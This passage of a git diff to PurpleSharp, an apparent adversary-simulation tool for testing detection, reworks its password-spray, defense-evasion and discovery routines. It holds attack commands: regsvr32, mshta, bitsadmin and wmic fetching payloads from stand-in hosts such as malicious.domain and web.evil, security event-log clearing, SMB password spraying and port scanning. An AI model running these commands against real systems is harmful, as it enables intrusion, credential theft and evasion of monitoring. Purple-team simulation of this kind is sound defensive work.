Targets.GetHostTargets(playbook_task, logger); + user_targets = Targets.GetUserTargets(playbook_task, logger); + //if (playbook_task.protocol.ToUpper().Equals("NTLM")) Kerberos = false; + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); - int computertype = rand.Next(1, 5); - targets = Lib.Targets.GetHostTargets(computertype, nhost, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers", targets.Count)); - targetusers = Lib.Targets.GetUserTargets(usertype, nuser, logger); - logger.TimestampInfo(String.Format("Obtained {0} target user accounts", targetusers.Count)); - - switch (protocol) + if (playbook_task.host_target_type == 1 || playbook_task.host_target_type == 2) { - case 1: - Kerberos = true; - break; - - case 2: - //using NTLM - Kerberos = false; - break; - - default: - return; - } - if (sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", sleep)); - - int type = rand.Next(1, 3); - if (type == 1) - { - //Remote spray against a random target host - var random = new Random(); - int index = random.Next(targets.Count); - logger.TimestampInfo(String.Format("Picking {0} as a target", targets[index].ComputerName)); - foreach (User user in targetusers) + //Remote spray against one target host + //Target host either explictly defined in the playbook or randomly picked using LDAP queries + foreach (User user in user_targets) { User tempuser = user; - int tempindex = index; - if (sleep > 0 && tempindex > 0) Thread.Sleep(sleep * 1000); - + //int tempindex = index; + //if (playbook_task.task_sleep > 0 && tempindex > 0) Thread.Sleep(playbook_task.task_sleep * 1000); + if (playbook_task.task_sleep > 0 ) Thread.Sleep(playbook_task.task_sleep * 1000); tasklist.Add(Task.Factory.StartNew(() => { - CredAccessHelper.RemoteSmbLogin(targets[tempindex], domain, tempuser.UserName, password, Kerberos, logger); + CredAccessHelper.RemoteSmbLogin(host_targets[0], domain, tempuser.UserName, playbook_task.spray_password, Kerberos, logger); })); - } Task.WaitAll(tasklist.ToArray()); } - else if (type == 2) + + else if (playbook_task.host_target_type == 3 || playbook_task.host_target_type == 4) { //Remote spray against several hosts, distributed + //Target hosts either explictly defined in the playbook or randomly picked using LDAP queries int loops; - if (targetusers.Count >= targets.Count) loops = targets.Count; - else loops = targetusers.Count; + if (user_targets.Count >= host_targets.Count) loops = host_targets.Count; + else loops = user_targets.Count; for (int i = 0; i < loops; i++) { int temp = i; - if (sleep > 0 && temp > 0) Thread.Sleep(sleep * 1000); + if (playbook_task.task_sleep > 0 && temp > 0) Thread.Sleep(playbook_task.task_sleep * 1000); tasklist.Add(Task.Factory.StartNew(() => { - CredAccessHelper.RemoteSmbLogin(targets[temp], domain, targetusers[temp].UserName, password, Kerberos, logger); + CredAccessHelper.RemoteSmbLogin(host_targets[temp], domain, user_targets[temp].UserName, playbook_task.spray_password, Kerberos, logger); })); } Task.WaitAll(tasklist.ToArray()); - } + logger.SimulationFinished(); } catch (Exception ex) @@ -165,7 +122,7 @@ public static void RemotePasswordSpray(int nhost, int nuser, int sleep, string p logger.SimulationFailed(ex); } } - + public static void Kerberoasting(string log, int sleep) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; diff --git a/PurpleSharp/Simulations/DefenseEvasion.cs b/PurpleSharp/Simulations/DefenseEvasion.cs index 19c8fb6..18f0144 100644 --- a/PurpleSharp/Simulations/DefenseEvasion.cs +++ b/PurpleSharp/Simulations/DefenseEvasion.cs @@ -21,7 +21,7 @@ public static void Csmtp(string log) try { string file = @"C:\Users\Administrator\AppData\Local\Temp\XKNqbpzl.txt"; - ExecutionHelper.StartProcess("", String.Format("cmstp /s /ns {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("cmstp /s /ns {0}", file), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -39,7 +39,7 @@ static public void Regsvr32(string log) { string url = @"http://malicious.domain:8080/payload.sct"; string dll = "scrobj.dll"; - ExecutionHelper.StartProcess("", String.Format("regsvr32.exe /u /n /s /i:{0} {1}", url, dll), logger); + ExecutionHelper.StartProcessApi("", String.Format("regsvr32.exe /u /n /s /i:{0} {1}", url, dll), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -57,7 +57,7 @@ public static void InstallUtil(string log) try { string file = @"C:\Windows\Temp\XKNqbpzl.exe"; - ExecutionHelper.StartProcess("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfiles /LogToConsole=alse /U {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfiles /LogToConsole=alse /U {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -74,8 +74,8 @@ public static void RegsvcsRegasm(string log) try { string file = @"winword.dll"; - ExecutionHelper.StartProcess("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U {0}", file), logger); - ExecutionHelper.StartProcess("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -94,7 +94,7 @@ public static void BitsJobs(string log) { string url = "http://web.evil/sc.exe"; string file = @"C:\Windows\Temp\winword.exe"; - ExecutionHelper.StartProcess("", String.Format("bitsadmin /transfer job /download /priority high {0} {1}", url, file), logger); + ExecutionHelper.StartProcessApi("", String.Format("bitsadmin /transfer job /download /priority high {0} {1}", url, file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -111,7 +111,7 @@ public static void Mshta(string log) try { string url = "http://webserver/payload.hta"; - ExecutionHelper.StartProcess("", String.Format("mshta {0}", url), logger); + ExecutionHelper.StartProcessApi("", String.Format("mshta {0}", url), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -129,7 +129,7 @@ public static void DeobfuscateDecode(string log) { string encoded = "encodedb64.txt"; string decoded = "decoded.exe"; - ExecutionHelper.StartProcess("", String.Format("certutil -decode {0} {1}", encoded, decoded), logger); + ExecutionHelper.StartProcessApi("", String.Format("certutil -decode {0} {1}", encoded, decoded), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -146,7 +146,7 @@ public static void XlScriptProcessing(string log) try { string url = "http://webserver/payload.xsl"; - ExecutionHelper.StartProcess("", String.Format("wmic os get /FORMAT:\"{0}\"", url), logger); + ExecutionHelper.StartProcessApi("", String.Format("wmic os get /FORMAT:\"{0}\"", url), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -163,7 +163,7 @@ public static void Rundll32(string log) try { string file = @"C:\Windows\twain_64.dll"; - ExecutionHelper.StartProcess("", String.Format("rundll32 \"{0}\"", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("rundll32 \"{0}\"", file), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -180,7 +180,7 @@ public static void ClearSecurityEventLogCmd(string log) logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("", "wevtutil.exe cl Security", logger); + ExecutionHelper.StartProcessApi("", "wevtutil.exe cl Security", logger); logger.SimulationFinished(); } catch(Exception ex) diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index 77f7c39..6cd1d4b 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -1,4 +1,6 @@ -using System; +using Microsoft.SqlServer.Server; +using PurpleSharp.Lib; +using System; using System.Collections.Generic; using System.Security.Principal; using System.Threading; @@ -8,24 +10,61 @@ namespace PurpleSharp.Simulations { class Discovery { - public static void EnumerateShares(int nhosts, int tsleep, string log) + + public static void NetworkShareEnumerationCmdLocal(string log) { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1135"); + logger.TimestampInfo("Using the command line to execute the technique"); + try + { + ExecutionHelper.StartProcessApi("", "net share", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void NetworkShareEnumerationCmdRemote(PlaybookTask playbook_task, string log) + { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1135"); + logger.TimestampInfo("Using the command line to execute the technique"); + try + { + List target_hosts = Targets.GetHostTargets(playbook_task, logger); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep)); + foreach (Computer computer in target_hosts) + { + ExecutionHelper.StartProcessApi("", String.Format("net view \\\\{0}", computer.IPv4), logger); + } + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + + public static void NetworkShareEnumerationApiRemote(PlaybookTask playbook_task, string log) + { + + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1135"); logger.TimestampInfo("Using the Win32 API NetShareEnum function to execute this technique"); try { + //List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhosts, logger); List tasklist = new List(); - var rand = new Random(); - int computertype = rand.Next(1, 6); - - List targetcomputers = Lib.Targets.GetHostTargets(computertype, nhosts, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers", targetcomputers.Count)); - if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", tsleep)); - foreach (Computer computer in targetcomputers) + List target_hosts = Targets.GetHostTargets(playbook_task, logger); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", playbook_task.task_sleep)); + foreach (Computer computer in target_hosts) { if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { @@ -34,7 +73,7 @@ public static void EnumerateShares(int nhosts, int tsleep, string log) DiscoveryHelper.ShareEnum(computer, logger); })); - if (tsleep > 0) Thread.Sleep(tsleep * 1000); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } } @@ -58,7 +97,7 @@ public static void PrivilegeEnumeration(int nhost, int sleep, string log) var rand = new Random(); int computertype = rand.Next(1, 6); - List targetcomputers = Lib.Targets.GetHostTargets(computertype, nhost, logger); + List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); Console.WriteLine("[*] Starting Find local administrator from {0} as {1}", Environment.MachineName, WindowsIdentity.GetCurrent().Name); if (sleep > 0) Console.WriteLine("[*] Sleeping {0} seconds between enumeration", sleep); foreach (Computer computer in targetcomputers) @@ -74,37 +113,34 @@ public static void PrivilegeEnumeration(int nhost, int sleep, string log) } Task.WaitAll(tasklist.ToArray()); } - public static void NetworkServiceDiscovery(int nhost, int tsleep, string log) + public static void NetworkServiceDiscovery(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1046"); logger.TimestampInfo("Using the System.Net.Sockets .NET namespace to execute this technique"); try { - var rand = new Random(); - int computertype = rand.Next(1, 6); List tasklist = new List(); - List targetcomputers = Lib.Targets.GetHostTargets(computertype, nhost, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", targetcomputers.Count)); - if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", tsleep)); - foreach (Computer computer in targetcomputers) + List target_hosts = Targets.GetHostTargets(playbook_task, logger); + //logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", target_hosts.Count)); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep)); + foreach (Computer computer in target_hosts) { - if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) - { - Computer temp = computer; - TimeSpan interval = TimeSpan.FromSeconds(5); - - tasklist.Add(Task.Factory.StartNew(() => - { - logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4)); - DiscoveryHelper.PortScan(temp, interval); + //if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) + //{ + Computer temp = computer; + TimeSpan interval = TimeSpan.FromSeconds(5); - })); - if (tsleep > 0) Thread.Sleep(tsleep * 1000); + tasklist.Add(Task.Factory.StartNew(() => + { + logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4)); + DiscoveryHelper.PortScan(temp, interval, playbook_task.ports, logger) ; + })); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); - } + //} } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); @@ -120,31 +156,31 @@ public static void NetworkServiceDiscovery(int nhost, int tsleep, string log) public static void DomainAccountDiscoveryLdap(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1087.002"); logger.TimestampInfo("Using LDAP to execute this technique"); try { - DiscoveryHelper.ListUsersLdap(logger); + DiscoveryHelper.LdapQueryForObjects(logger, 1); logger.SimulationFinished(); } catch(Exception ex) { logger.SimulationFailed(ex); - } - + } } public static void DomainAccountDiscoveryCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1087.002"); logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("", "net user /domain", logger); + //ExecutionHelper.StartProcessApi("", "net user /domain", logger); + ExecutionHelper.StartProcessNET("net.exe", "user /domain", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -153,17 +189,61 @@ public static void DomainAccountDiscoveryCmd(string log) } } + public static void DomainAccountDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1087.002"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string cleanPws = String.Format("Get-ADUser -Filter * | Select-Object SamAccountNAme"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var cleanPwsBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void LocalAccountDiscoveryCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1087.001"); logger.TimestampInfo("Using the command line to execute the technique"); try { - //ExecutionHelper.StartProcess("", "net group \"Domain Admins\" /domain", log); - ExecutionHelper.StartProcess("", "net user", logger); + //ExecutionHelper.StartProcessApi("", "net user", logger); + ExecutionHelper.StartProcessNET("net.exe", "user", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void LocalAccountDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1087.001"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string cleanPws = String.Format("Get-LocalUser"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var cleanPwsBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + logger.SimulationFinished(); } catch (Exception ex) @@ -175,12 +255,12 @@ public static void LocalAccountDiscoveryCmd(string log) public static void SystemServiceDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1007"); try { - ExecutionHelper.StartProcess("", "net start", logger); - ExecutionHelper.StartProcess("", "tasklist /svc", logger); + ExecutionHelper.StartProcessApi("", "net start", logger); + ExecutionHelper.StartProcessApi("", "tasklist /svc", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -193,12 +273,12 @@ public static void SystemServiceDiscovery(string log) public static void SystemUserDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1033"); try { - ExecutionHelper.StartProcess("", "whoami", logger); - ExecutionHelper.StartProcess("", "query user", logger); + //ExecutionHelper.StartProcessApi("", "whoami", logger); + ExecutionHelper.StartProcessNET("cmd.exe", "/c whoami", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -211,13 +291,13 @@ public static void SystemUserDiscovery(string log) public static void SystemNetworkConnectionsDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1049"); try { - ExecutionHelper.StartProcess("", "netstat", logger); - ExecutionHelper.StartProcess("", "net use", logger); - ExecutionHelper.StartProcess("", "net session", logger); + ExecutionHelper.StartProcessApi("", "netstat", logger); + ExecutionHelper.StartProcessApi("", "net use", logger); + ExecutionHelper.StartProcessApi("", "net session", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -229,11 +309,11 @@ public static void SystemNetworkConnectionsDiscovery(string log) static public void SystemNetworkConfigurationDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1016"); try { - ExecutionHelper.StartProcess("", "ipconfig /all", logger); + ExecutionHelper.StartProcessApi("", "ipconfig /all", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -245,13 +325,13 @@ static public void SystemNetworkConfigurationDiscovery(string log) static public void FileAndDirectoryDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1083"); try { - ExecutionHelper.StartProcess("", @"dir c:\ >> %temp%\download", logger); - ExecutionHelper.StartProcess("", @"dir C:\Users\ >> %temp%\download", logger); + ExecutionHelper.StartProcessApi("", @"dir c:\ >> %temp%\download", logger); + ExecutionHelper.StartProcessApi("", @"dir C:\Users\ >> %temp%\download", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -260,17 +340,38 @@ static public void FileAndDirectoryDiscovery(string log) } } - public static void DomainTrustDiscovery(string log) + public static void DomainTrustDiscoveryCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1482"); logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("","nltest /domain_trusts", logger); - ExecutionHelper.StartProcess("", "nltest /all_trusts", logger); + ExecutionHelper.StartProcessNET("nltest.exe", "/domain_trusts", logger); + //ExecutionHelper.StartProcessApi("","nltest /domain_trusts", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + + public static void DomainTrustDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1482"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string cleanPws = String.Format("Get-DomainTrusts"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -288,8 +389,8 @@ public static void PasswordPolicyDiscovery(string log) try { - ExecutionHelper.StartProcess("", "net accounts", logger); - ExecutionHelper.StartProcess("", "net accounts /domain", logger); + ExecutionHelper.StartProcessApi("", "net accounts", logger); + ExecutionHelper.StartProcessApi("", "net accounts /domain", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -297,18 +398,17 @@ public static void PasswordPolicyDiscovery(string log) logger.SimulationFailed(ex); } } - public static void LocalGroups(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1069.001"); logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("", "net localgroup", logger); - ExecutionHelper.StartProcess("", "net localgroup \"Administrators\"", logger); + ExecutionHelper.StartProcessApi("", "net localgroup", logger); + ExecutionHelper.StartProcessApi("", "net localgroup \"Administrators\"", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -317,18 +417,97 @@ public static void LocalGroups(string log) } } - public static void DomainGroups(string log) + public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1069.002"); - logger.TimestampInfo("Using the command line to execute the technique"); + logger.TimestampInfo("Using the command line to execute technique"); + try + { + if (playbook_task.groups.Length > 0) + { + foreach (string group in playbook_task.groups) + { + ExecutionHelper.StartProcessNET("net.exe", String.Format("group \"{0}\" /domain", group), logger); + //ExecutionHelper.StartProcessApi("", String.Format("net group \"{0}\" /domain", group), logger); + } + logger.SimulationFinished(); + } + else + { + ExecutionHelper.StartProcessNET("net.exe", String.Format("group /domain"), logger); + //ExecutionHelper.StartProcessApi("", "net group /domain", logger); + logger.SimulationFinished(); + + } + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void DomainGroupDiscoveryPowerShell(PlaybookTask playbook_task, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1069.002"); + logger.TimestampInfo("Using PowerShell to execute the technique"); try { - ExecutionHelper.StartProcess("", "net group /domain", logger); - ExecutionHelper.StartProcess("", "net group \"Domain Admins\" /domain", logger); - logger.SimulationFinished(); + if (playbook_task.groups.Length > 0) + { + foreach (string group in playbook_task.groups) + { + string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like '{0}'}} | Get-ADGroupMember | Select SamAccountName", group); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + } + logger.SimulationFinished(); + } + else + { + string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like 'Domain Admins'}} | Get-ADGroupMember | Select SamAccountName"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + logger.SimulationFinished(); + + } + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + + public static void DomaiGroupDiscoveryLdap(PlaybookTask playbook_task, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Lib.Logger logger = new Lib.Logger(currentPath + log); + logger.SimulationHeader("T1069.002"); + logger.TimestampInfo("Using LDAP to execute technique"); + try + { + if (playbook_task.groups.Length > 0) + { + foreach (string group in playbook_task.groups) + { + logger.TimestampInfo(String.Format("Querying LDAP for members of '{0}'", group)); + DiscoveryHelper.LdapQueryForObjects(logger, 2, "", group); + } + logger.SimulationFinished(); + } + else + { + logger.TimestampInfo("Querying LDAP for all groups"); + DiscoveryHelper.LdapQueryForObjects(logger, 2); + logger.SimulationFinished(); + } + } catch (Exception ex) { @@ -345,9 +524,9 @@ public static void QueryRegistry(string log) try { - ExecutionHelper.StartProcess("", "reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", logger); - ExecutionHelper.StartProcess("", "reg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"", logger); - ExecutionHelper.StartProcess("", "reg query HKLM\\System\\Currentcontrolset\\Service", logger); + ExecutionHelper.StartProcessApi("", "reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", logger); + ExecutionHelper.StartProcessApi("", "reg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"", logger); + ExecutionHelper.StartProcessApi("", "reg query HKLM\\System\\Currentcontrolset\\Service", logger); logger.SimulationFinished(); } @@ -366,8 +545,8 @@ public static void SecuritySoftwareDiscovery(string log) try { - ExecutionHelper.StartProcess("", "netsh advfirewall firewall show rule name=all", logger); - ExecutionHelper.StartProcess("", "wmic / Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName / Format:List", logger); + ExecutionHelper.StartProcessApi("", "netsh advfirewall firewall show rule name=all", logger); + ExecutionHelper.StartProcessApi("", "wmic / Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName / Format:List", logger); logger.SimulationFinished(); @@ -381,14 +560,16 @@ public static void SecuritySoftwareDiscovery(string log) public static void SystemInformationDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1082"); logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("", "systeminfo", logger); - ExecutionHelper.StartProcess("", "net config workstation", logger); + //ExecutionHelper.StartProcessApi("", "systeminfo", logger); + //ExecutionHelper.StartProcessApi("", "net config workstation", logger); + ExecutionHelper.StartProcessNET("cmd.exe /c", "systeminfo", logger); + //ExecutionHelper.StartProcessNET("net.exe", "config workstation", logger); logger.SimulationFinished(); } @@ -407,9 +588,48 @@ public static void SystemTimeDiscovery(string log) try { - ExecutionHelper.StartProcess("", "w32tm /tz", logger); - ExecutionHelper.StartProcess("", "time /T", logger); + ExecutionHelper.StartProcessApi("", "w32tm /tz", logger); + ExecutionHelper.StartProcessApi("", "time /T", logger); + + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void RemoteSystemDiscoveryCmd(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1018"); + logger.TimestampInfo("Using the command line to execute the technique"); + + try + { + ExecutionHelper.StartProcessNET("cmd.exe", "/c net view", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void RemoteSystemDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1018"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string cleanPws = String.Format("Get-ADComputer -Filter {{enabled -eq $true}} | Select-Object Name, DNSHostName, OperatingSystem, LastLogonDate"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var cleanPwsBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -417,6 +637,6 @@ public static void SystemTimeDiscovery(string log) logger.SimulationFailed(ex); } } - + } } diff --git a/PurpleSharp/Simulations/DiscoveryHelper.cs b/PurpleSharp/Simulations/DiscoveryHelper.cs index d576682..294f0fa 100644 --- a/PurpleSharp/Simulations/DiscoveryHelper.cs +++ b/PurpleSharp/Simulations/DiscoveryHelper.cs @@ -71,15 +71,16 @@ public static void FindLocalAdminAccess(Computer computer) } - public static void PortScan(Computer computer, TimeSpan timeout) + public static void PortScan(Computer computer, TimeSpan timeout, int[] ports, Logger logger) { IPAddress server2 = IPAddress.Parse(computer.IPv4); //List ports = new List { 21, 22, 23, 25, 80, 135, 139, 443, 445, 1433, 3306, 3389, 8080, 8000, 10000 }; - List ports = new List { 135, 139, 443, 445, 1433, 3306, 3389}; + //List ports = new List { 135, 139, 443, 445, 1433, 3306, 3389}; foreach (int port in ports) { //Console.WriteLine("Scanning port {0} on {1}", port, computer.Fqdn); + logger.TimestampInfo(String.Format("Scanning port {0} on {1}", port, computer.IPv4)); IPEndPoint remoteEP = new IPEndPoint(server2, port); Socket sender = new Socket(remoteEP.AddressFamily, SocketType.Stream, ProtocolType.Tcp); @@ -110,15 +111,12 @@ public static void PortScan(Computer computer, TimeSpan timeout) //DateTime dtime = DateTime.Now; //Console.WriteLine("{0}[{1}] Could not perform network service scan on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), 